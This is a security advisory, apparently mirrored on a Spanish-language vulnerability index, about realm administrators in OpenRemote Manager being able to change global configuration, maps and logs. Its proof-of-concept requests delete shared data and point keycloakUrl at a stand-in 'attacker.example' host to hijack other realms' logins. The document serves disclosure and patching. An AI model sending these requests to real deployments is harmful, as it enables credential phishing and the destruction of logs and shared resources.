GHSA-GF33-2772-8GW3
Improper Authorization Allows Realm Administrators to Access and Modify Global Resources
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:L/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 1.32.2 | io.openremote:openremote-manager · -2 d desde divulgación | |
| Divulgación | Publicada | GHSA-GF33-2772-8GW3 divulgada · CVSS 8.6 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Multiple administrative API endpoints in OpenRemote allow administrators of individual realms to access or modify global resources that affect other realms.
These endpoints require administrative roles such as `read:admin` or `write:admin`, but do not verify that the authenticated user is a super administrator.
Consequently, an administrator of one realm can change console configuration and authentication destinations for other realms, including `master`. They can also inject CSS, replace global map tile sources, and modify or delete shared resources and stored logs. This violates realm isolation and can enable credential phishing and disruption of console access across the deployment.
Details
OpenRemote distinguishes between realm administrators, whose permissions are restricted to their own realm, and super administrators, who have administrative access to all realms.
Several API endpoints that manage global resources enforce administrative roles without additionally verifying that the authenticated user is a super administrator.
The following eight endpoints are affected. Paths are relative to `/api/{realm}`.
| Method | Endpoint | Operation |
|---|---|---|
| PUT | `/configuration/manager` | Update Manager configuration |
| POST | `/configuration/manager/file` | Upload or replace configuration images |
| PUT | `/map` | Update global map settings |
| POST | `/map/upload` | Upload custom MBTiles |
| DELETE | `/map/deleteMap` | Delete custom MBTiles |
| DELETE | `/syslog/event` | Clear stored log events |
| GET | `/syslog/config` | Read global logging configuration |
| PUT | `/syslog/config` | Update global logging configuration |
These endpoints operate on resources shared across realms, but previously allowed users with administrative permissions in an individual realm to perform operations without super administrator privileges.
The affected implementations are located in:
- `manager/src/main/java/org/openremote/manager/app/ConfigurationResourceImpl.java`
- `manager/src/main/java/org/openremote/manager/map/MapResourceImpl.java`
- `manager/src/main/java/org/openremote/manager/syslog/SyslogResourceImpl.java`
Global Manager configuration and map settings
`ConfigurationResourceImpl.update()` writes the deployment-wide `manager_config.json`. This document contains both the global `manager` settings and configuration entries for individual realms. A caller with `write:admin` can submit the update through their own realm's API path; they do not need a token for another realm or super administrator privileges.
The Manager console retrieves its configuration before authentication through `GET /api/master/configuration/manager`. The global `manager.keycloakUrl` value is passed to the Keycloak adapter and determines the authentication server used by the console. Changing this value therefore affects console authentication across realms, including `master`. The `applyConfigToAdmin` setting controls page-configuration overrides and does not prevent the global authentication settings from being applied.
The same configuration document contains `realms[<realm>].styles`. These strings are inserted into the corresponding realm's console as CSS, allowing an administrator of another realm to alter its appearance.
`MapResourceImpl.saveSettings()` similarly updates the deployment-wide `mapsettings.json`. Replacing its tile-source configuration changes the map sources available to consoles in other realms.
Proof of Concept
Prerequisites
- An OpenRemote installation with multiple realms.
- An administrator account belonging to a non-master realm, such as `realm-a`, with the required `read:admin` or `write:admin` role.
- No super administrator privileges for that account.
The following scenarios demonstrate the authorization issues. Destructive operations should only be reproduced in a test environment.
Scenario 1: Cross-realm modification of configuration images
- Authenticate as an administrator of `realm-a` with `write:admin`.
- Identify an existing image in the shared Manager configuration images directory that is used by another realm.
- Upload replacement content using the realm administrator's token:
POST /api/realm-a/configuration/manager/file?path=shared-logo.svg HTTP/1.1
Host: <host>
Authorization: Bearer <realm_a_admin_token>
Content-Type: application/json
{
"name": "shared-logo.svg",
"contents": "PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNDAiIGhlaWdodD0iNDAiPjx0ZXh0IHg9IjUiIHk9IjI1Ij5SRVBMQUNFRDwvdGV4dD48L3N2Zz4=",
"binary": true
}The Base64 content represents a harmless SVG displaying "REPLACED".
- Retrieve the image through the unauthenticated endpoint:
GET /api/master/configuration/manager/image/shared-logo.svg HTTP/1.1
Host: <host>Actual result: The image is overwritten, even though the administrator does not have access to the realm using that image.
Expected result: The upload should be rejected with HTTP 403 Forbidden.
Scenario 2: Unauthorized deletion of global map data
- Configure a custom MBTiles map using a super administrator account.
- Authenticate as an administrator of `realm-a` with `write:admin`.
- Send the following request:
DELETE /api/realm-a/map/deleteMap HTTP/1.1
Host: <host>
Authorization: Bearer <realm_a_admin_token>Actual result: The custom map is deleted, potentially affecting other realms using the same map data.
Expected result: HTTP 403 Forbidden.
The same insufficient authorization also affects global map configuration updates and custom MBTiles uploads.
Scenario 3: Unauthorized access to global logging configuration
- Authenticate as an administrator of `realm-a` with `read:admin`.
- Send the following request:
GET /api/realm-a/syslog/config HTTP/1.1
Host: <host>
Authorization: Bearer <realm_a_admin_token>Actual result: The global logging configuration is returned despite the administrator lacking super administrator privileges.
Expected result: HTTP 403 Forbidden.
Scenario 4: Unauthorized deletion of stored logs
- Authenticate as an administrator of `realm-a` with `write:admin`.
- Send the following request in a disposable test environment:
DELETE /api/realm-a/syslog/event HTTP/1.1
Host: <host>
Authorization: Bearer <realm_a_admin_token>Actual result: The stored log events are cleared.
Expected result: HTTP 403 Forbidden.
The same insufficient authorization also affects updates to the global logging configuration through `PUT /syslog/config`.
Scenario 5: Cross-realm Manager configuration changes and authentication redirection
- Create two realms, `realm-a` and `realm-b`, and authenticate as a user in `realm-a` with `write:admin` and no super administrator privileges.
- Save a copy of the existing Manager configuration so that it can be restored after the test. The update replaces the shared configuration document; the following minimal payload is intended for a disposable test deployment.
- Prepare a controlled test HTTP receiver that returns a harmless marker page for requests under `/auth`. Replace `attacker.example` below with the receiver's address, using a scheme and certificate configuration accepted by the test browser.
- Submit the configuration update through the attacker's own realm:
PUT /api/realm-a/configuration/manager HTTP/1.1
Host: <host>
Authorization: Bearer <realm_a_admin_token>
Content-Type: application/json
{
"realms": {
"realm-b": {
"appTitle": "Session expired - sign in again"
}
},
"manager": {
"keycloakUrl": "http://attacker.example/auth",
"autoLogin": true
}
}- Read the configuration through the normal unauthenticated bootstrap endpoint:
GET /api/master/configuration/manager HTTP/1.1
Host: <host>The returned document contains the replacement `manager.keycloakUrl` and the modified title for `realm-b`.
- Open the other realm's console in a browser:
https://<host>/manager/?realm=realm-bReported result: The configuration update returns HTTP 200. The browser opening `realm-b` is redirected to the controlled receiver, which receives an OIDC authorization request. The authorization request included `client_id=openremote`, a `redirect_uri` back to the real Manager, `response_type=code`, `scope=openid`, `state`, `nonce`, and a PKCE code challenge.
Expected result: The configuration update should be rejected with HTTP 403 Forbidden, and the deployment-wide authentication configuration should remain unchanged.
The reported browser reproduction demonstrated redirection for another non-master realm. The same global configuration is consumed by the `master` console, so its authentication destination is also affected by the configuration write.
The reported reproduction stopped at the redirect; no passwords, genuine authorization codes, or tokens were captured. The credential-phishing consequence is described under Impact below.
Additional configuration impact: CSS injection into another realm
The same unauthorized update can change `realms["realm-b"].styles`. The configured CSS is inserted into a `<style>` element in the other realm's console. An attacker can use this capability for defacement, hiding or repositioning interface elements, and presenting misleading visual content such as a "sign in again" overlay.
Scenario 6: Cross-realm replacement of map tile sources
- Obtain the current map settings using an account authorized to read them, and retain a copy for restoration.
- Preserve the existing settings structure and replace the tile URL or TileJSON URL in the `sources.vector_tiles` configuration with a controlled test tile source.
- Authenticate as a user in `realm-a` with `write:admin` and submit the complete modified map settings document to `PUT /api/realm-a/map` using that user's bearer token and `Content-Type: application/json`.
- Retrieve `GET /api/realm-b/map` as an administrator of `realm-b`.
Reported result: The update returns HTTP 200, and the settings returned to `realm-b` contain the replacement tile source. The configuration is shared across realms rather than restricted to `realm-a`.
Expected result: The update should be rejected with HTTP 403 Forbidden, and the global map settings should remain unchanged.
When consoles consume the modified map configuration, their browsers can request tiles from the attacker-controlled source. This enables map-content manipulation and exposes the request information sent to that source. The report does not demonstrate automatic forwarding of OpenRemote credentials or bearer tokens to the tile server.
Impact
Cross-realm authorization bypass: Realm administrators can perform operations that should be restricted to super administrators.
Unauthorized modification of global configuration: Manager configuration, map settings, and logging configuration can be modified by users without the required system-wide privileges.
Authentication redirection and credential phishing: An administrator of one realm can replace the global `keycloakUrl` and redirect console authentication flows for other realms, including `master`, to an attacker-controlled destination. A counterfeit login page can collect credentials submitted by victims during sign-in. Disclosure of super administrator credentials is a serious confidentiality impact and can enable further unauthorized access, subject to the authentication controls in use.
Disruption of console access: Pointing the global authentication configuration at an unavailable or unusable destination can prevent users across realms, including super administrators, from completing console authentication. The configuration change persists until corrected. This can seriously disrupt access to OpenRemote even if existing authenticated sessions or backend processing continue to operate; it does not require the real Keycloak server to become unavailable.
Cross-realm CSS injection and UI manipulation: An administrator of one realm can modify another realm's configured stylesheet, enabling defacement and misleading or obscured interface elements. The reported stylesheet injection does not establish arbitrary JavaScript execution or automatic credential extraction.
Global map tile-source replacement: An administrator of one realm can change the map tile source used by other realms. This can alter the map content displayed to operators and cause their browsers to request resources from an attacker-controlled host, exposing the information included in those requests.
Resource tampering: Shared configuration images and custom map resources can be overwritten or deleted, potentially affecting other realms.
Loss of log integrity: Realm administrators can delete stored log events, including potentially security-relevant records.
Unauthorized access to configuration: Global logging configuration can be accessed by realm administrators who should not have permission to view it.
These operations violate the intended security boundary between individual realms and global administrative functionality.
Remediation
The fix adds explicit super administrator checks using `isSuperUser()` to the affected global administrative operations.
This ensures that only authenticated super administrators with access to all realms can perform global administrative operations.
Users with realm-specific administrative privileges, including `read:admin` or `write:admin`, are no longer permitted to perform these operations unless they also have super administrator privileges.
Unauthorized requests return HTTP 403 Forbidden.
The Manager configuration image upload endpoint has also been renamed from:
`POST /configuration/manager/file`
to:
`POST /configuration/manager/image`
The renamed endpoint retains the intended image upload functionality and enforces the new authorization requirements.
Users are advised to upgrade to OpenRemote 1.32.2 containing the fix.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
mavenio.openremote:openremote-manager |
Corregida | 1.32.2 | -2 d | 1.34.1 no afectada |
1.32.2Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/openremote/core/security/advisories/GHSA-gf33-2772-8gw3Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
